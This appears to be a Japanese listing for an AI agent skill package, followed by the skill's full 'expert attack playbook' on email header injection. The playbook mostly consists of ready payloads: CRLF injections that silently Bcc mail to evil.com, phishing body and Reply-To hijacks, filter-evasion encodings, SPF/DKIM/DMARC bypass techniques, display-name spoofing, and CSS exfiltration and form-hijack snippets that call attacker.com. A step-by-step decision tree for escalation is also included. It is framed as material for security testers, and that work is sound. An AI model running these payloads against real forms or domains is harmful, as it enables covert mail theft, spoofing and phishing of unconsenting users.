email-header-injection について
email-header-injectionは、メールヘッダーインジェクションを評価するセキュリティテスター向けの手引きです。SMTPのCRLF注入、認証設定、メールクライアントの表示リスクを扱います。
主な機能
- 01SMTP CRLF注入のテスト
- 02SPF、DKIM、DMARCの確認
- 03表示名偽装の評価
- 04メールクライアント表示攻撃の分析
- 05フォームとメールAPIへの対応
活用シーン
- 01問い合わせフォームのメール送信フローの評価
- 02パスワードリセットや招待メールの確認
- 03ドメインのメール認証ポリシーの検査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill email-header-injectionインストール後、Claude Code で/email-header-injectionを入力して読み込まれたか確認します。
詳細
スキル:メールヘッダーインジェクション — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:メールヘッダーインジェクションと認証バイパスのエキスパート向け解説です。SMTP CRLF インジェクション、SPF/DKIM/DMARC の回避、表示名のスプーフィング、メールクライアントのレンダリング悪用を扱います。ベースモデルは、ヘッダーインジェクション(技術レベル)とメール認証バイパス(プロトコルレベル)の微妙な違いを見落としがちです。このスキルでは、両方の攻撃対象領域を扱います。
0. 関連するルーティング
- crlf-injection — 一般的な CRLF インジェクションです。メールヘッダーは、価値の高い特定の攻撃対象です。
- ssrf-server-side-request-forgery — SMTP サーバーに SSRF 経由でアクセスできる場合(gopher://smtp)に使用します。
- open-redirect — パスワードリセットメール内のリダイレクトをフィッシングの増幅に利用します。
1. SMTP ヘッダーインジェクションの基礎
SMTP ヘッダーは CRLF(\r\n)で区切られます。ユーザー入力をサニタイズせずにメールヘッダーに挿入すると、%0d%0a(または \r\n)を注入して任意のヘッダーを追加できます。
インジェクションの構造
Normal header construction:
To: [email protected]\r\n
Subject: Contact Form\r\n
From: [email protected]\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: [email protected]\r\n
Result:
Subject: Hello\r\n
Bcc: [email protected]\r\n
試すべきエンコードのバリエーション
| エンコード | ペイロード |
|---|---|
| URL エンコード | %0d%0a |
| 二重 URL エンコード | %250d%250a |
| Unicode | \u000d\u000a |
| 生の CRLF | \r\n(生のリクエスト内) |
| LF のみ | %0a(一部の SMTP サーバーは CR なしの LF を受け入れます) |
| Null バイト + CRLF | %00%0d%0a |
2. 攻撃シナリオ
2.1 BCC インジェクション — 密かなメールの窃取
Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]
Effect: attacker receives a copy of every email sent through this form
2.2 ヘッダースタッキングによる CC インジェクション
Payload in "From name" field:
John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]
Result headers:
From: John
Cc: [email protected]
Bcc: [email protected]
... (original headers continue)
2.3 本文インジェクション — メール内容の完全な制御
SMTP では、空行(\r\n\r\n)によってヘッダーと本文が区切られます。
Payload in Subject:
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
Result:
Subject: Urgent
Please click: https://evil.com/phish
.
(Blank line terminates headers, everything after is body)
2.4 フィッシングのための Reply-To の操作
Payload in From name:
IT Support%0d%0aReply-To:[email protected]
Victim sees "IT Support" as sender
Replies go to [email protected]
2.5 HTML フィッシングのための Content-Type インジェクション
Payload:
test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
Overrides Content-Type → renders HTML in email client
3. よくある脆弱なパターン
PHP mail()
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: [email protected]";
// ALL parameters are injectable:
mail($to, $subject, $message, $headers);
// $to injection: [email protected]%0d%0aCc:[email protected]
// $subject injection: Hello%0d%0aBcc:[email protected]
// $headers injection: From: x%0d%0aBcc:[email protected]
Python smtplib
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized
Node.js nodemailer
let mailOptions = {
from: req.body.from, // injectable
to: '[email protected]',
subject: req.body.subject, // injectable
text: req.body.message
};
transporter.sendMail(mailOptions);
4. SPF/DKIM/DMARC のバイパス手法
4.1 SPF(Sender Policy Framework)のバイパス
SPF は、MAIL FROM のエンベロープ送信者の IP を DNS TXT レコードと照合して検証します。
| 手法 | 方法 |
|---|---|
| サブドメイン委任 | 対象に include:_spf.google.com がある場合、攻撃者は Google Workspace を使って [email protected] として送信できます。 |
| Include チェーンの悪用 | v=spf1 include:third-party.com — サードパーティが広範な送信を許可している場合に悪用できます。 |
| DNS ルックアップ上限(10) | SPF で許可される DNS ルックアップは最大 10 回です。これを超えるチェーンは permerror となり、一部の受信側は受け入れます。 |
+all の設定ミス | v=spf1 +all はすべての IP を許可します(まれですが、実在します)。 |
?all または ~all | Softfail/Neutral となりますが、ほとんどの受信側は引き続き受信トレイに配信します。 |
| SPF レコードがない | SPF のないドメインでは、誰でもそのドメインの送信者としてメールを送信できます。 |
# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...
# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed
4.2 DKIM(DomainKeys Identified Mail)のバイパス
DKIM はドメインキーを使って特定のヘッダーに署名します。バイパスの手法:
| 手法 | 方法 |
|---|---|
d= と From: の不一致 | DKIM は d=subdomain.target.com で署名されている一方、From: [email protected] となっています。DKIM は有効ですが、From はスプーフィングされています。 |
l= タグの悪用 | l= は署名対象の本文の長さを制限します。攻撃者は署名対象部分の後に内容を追加します。 |
| リプレイ攻撃 | 有効な DKIM 署名付きメールを取得し、署名されていないヘッダーを変更して再送信します。 |
h=from の欠落 | from ヘッダーが署名対象ヘッダーの一覧(h=)に含まれていない場合、From を変更できます。 |
| キーローテーション期間 | DKIM キーのローテーション中は、古いセレクターでも検証できる場合があります。 |
# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim
4.3 DMARC(Domain-based Message Authentication)のバイパス
DMARC では、SPF または DKIM が From: ヘッダーのドメインと整合している必要があります。
| 手法 | 方法 |
|---|---|
緩和された整合性(aspf=r) | SPF が sub.target.com に対して成功すると、DMARC は target.com に対しても受け入れます。 |
| 組織ドメイン | 緩和モードでは mail.target.com は target.com と整合します。 |
| DMARC レコードがない | DMARC のないドメインでは、ポリシーが適用されません。 |
p=none | DMARC は存在しますが、ポリシーが none のため、適用は行われず、レポートのみが送信されます。 |
サブドメインポリシー(sp=none) | メインドメインが p=reject でも、sp=none の場合はサブドメインをスプーフィングできます。 |
# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject
4.4 表示名のなりすまし(あらゆる環境で有効)
SPF/DKIM/DMARC が完璧でも、表示名は認証されません:
From: "[email protected]" <[email protected]>
From: "IT Security Team - target.com" <[email protected]>
From: "[email protected] via Support" <[email protected]>
ほとんどのメールクライアントでは、受信トレイの表示に表示名のみが表示されます。モバイルクライアントは特に脆弱です。
5. メールクライアントのレンダリング攻撃
CSS ベースのデータ流出
<style>
#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
#secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">
リモート画像によるトラッキング
<img src="https://attacker.com/[email protected]&t=TIMESTAMP" width="1" height="1">
フォームアクションの乗っ取り
<form action="https://attacker.com/phish" method="POST">
<input name="password" type="password" placeholder="Confirm your password">
<button type="submit">Verify</button>
</form>
6. お問い合わせフォーム/メール API インジェクション
# REST API
POST /api/send-email {"to":"[email protected]\r\nBcc:[email protected]","subject":"Hello","body":"Test"}
# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
# GraphQL
mutation { sendEmail(to:"[email protected]\r\nBcc:[email protected]" subject:"Test" body:"Hello") }
7. テスト手法
1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
8. 判断ツリー
Found email-sending feature?
│
├── User input goes into email headers?
│ ├── YES → Test CRLF injection
│ │ ├── %0d%0a in Subject/From/To field
│ │ │ ├── Extra header appears → CONFIRMED
│ │ │ │ ├── Inject Bcc: → silent exfiltration
│ │ │ │ ├── Inject body (blank line) → content control
│ │ │ │ └── Inject Reply-To: → redirect replies
│ │ │ │
│ │ │ └── Filtered? → Try encoding variants
│ │ │ ├── %250d%250a (double encode)
│ │ │ ├── %0a only (LF without CR)
│ │ │ └── Unicode \u000d\u000a
│ │ │
│ │ └── All encodings blocked → check SPF/DKIM/DMARC
│ │
│ └── NO (user input only in body) → limited impact
│ └── Check for HTML injection in email body
│ └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│ ├── Check SPF: dig TXT target.com
│ │ ├── No SPF / +all / ~all → direct spoofing possible
│ │ └── -all → SPF blocks; check DKIM/DMARC
│ │
│ ├── Check DMARC: dig TXT _dmarc.target.com
│ │ ├── No DMARC / p=none → spoofing delivered
│ │ ├── p=quarantine → lands in spam but delivered
│ │ └── p=reject → blocked; try subdomain (sp= policy)
│ │
│ └── All strict → Display name spoofing only
│ └── "[email protected]" <[email protected]>
│
└── Testing password reset email?
├── Check for token in URL → open redirect chain?
│ └── See ../open-redirect/SKILL.md
└── Check for host header injection → password reset poisoning
└── See ../http-host-header-attacks/SKILL.md
9. クイックリファレンス — 主要なペイロード
# BCC injection via Subject
Subject: Hello%0d%0aBcc:[email protected]
# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com
# Reply-To hijack
From: Support%0d%0aReply-To:[email protected]
# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
# Display name spoof (no injection needed)
From: "[email protected]" <[email protected]>